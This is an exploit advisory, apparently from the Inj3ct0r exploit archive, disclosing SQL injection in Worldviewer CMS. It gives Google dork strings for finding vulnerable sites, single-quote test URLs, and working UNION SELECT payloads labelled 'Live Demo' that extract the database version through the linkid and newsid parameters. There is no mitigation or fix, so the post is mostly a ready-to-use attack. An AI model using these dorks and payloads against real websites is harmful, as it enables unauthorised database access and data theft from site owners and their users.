Home / os / win7

Worldviewer CMS SQL Injection Vulnerability

Posted on 12 April 2010

===========================================
Worldviewer CMS SQL Injection Vulnerability
===========================================

# Exploit Title: Worldviewer.com CMS SQL Injection Vulnerability
# Software Link :
# Version: Web Application
# Tested on: Apcahe/Unix
# CVE : [if exists]
# Dork :  inurl:"php/showContent.php?linkid=" Or inurl:"/php/showNews.php?newsid="
# Code :
 
This Is The CMS Created by The Leading WebDevelopment Company Worldviewer.com For There Clients and all have same
vulnerability.....
 
 
Exploited Link :
 
1) http://example.com/php/showContent.php?linkid=5'
 
2) http://example.com/php/showNews.php?newsid=39'
 
 
Live Demo :
 
1) http://example.com/php/showNews.php?newsid=-5+union+select+all+1,version()--
 
2) http://example.com/php/showContent.php?linkid=-5+union+select+all+version()--


# Inj3ct0r.com [2010-04-12]

 

TOP

Malware :

Exploits :